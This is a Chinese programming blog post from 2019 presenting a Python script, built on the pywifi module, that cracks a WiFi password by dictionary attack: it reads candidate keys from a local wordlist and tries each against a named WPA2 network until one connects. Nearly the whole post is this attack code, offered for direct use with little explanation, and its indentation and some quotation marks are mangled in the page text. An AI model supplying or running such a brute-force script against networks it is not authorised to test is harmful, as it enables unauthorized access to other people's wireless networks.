您的位置:首页 > 编程语言 > Python开发

python 利用pywifi模块实现连接网络,破解wifi密码,实时监控网络

2019-06-24 14:34 836 查看

import pywifi
from pywifi import *
import time

def CrackWifi(password):
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] # 取一个无限网卡
# 是否成功的标志
isok = True

if(iface.status()!=const.IFACE_CONNECTED):
profile = pywifi.Profile()
profile.ssid = 'vivo X7'
profile.auth = const.AUTH_ALG_OPEN          #需要秘密
profile.akm.append(const.AKM_TYPE_WPA2PSK)  #加密类型
profile.cipher = const.CIPHER_TYPE_CCMP     #加密单元
#profile.key = '123456789'                  #在此输入你的wifi密码
profile.key = password

#time.sleep(3)
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]  # 取一个无限网卡

profile = iface.add_network_profile(profile)
iface.connect(profile)
time.sleep(3)        #程序休眠时间3秒;如果没有此句,则会打印连接失败,因为它需要一定的检测时间

if iface.status()==const.IFACE_CONNECTED:
print("连接成功!!!")
else:
print("连接失败!!!")
isok=False

return isok
else:
print("已经连接网络")
return isok

#CrackWifi()
def PasswordFile():
pathfile=“H:/wififile.txt” #你的密码字典
files=open(pathfile,‘r’)
while True:
fp=files.readline()
if not fp:
break

wifipass = fp[:-1]
print(wifipass)
if CrackWifi(wifipass):
break

while True:
PasswordFile()
time.sleep(5)

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐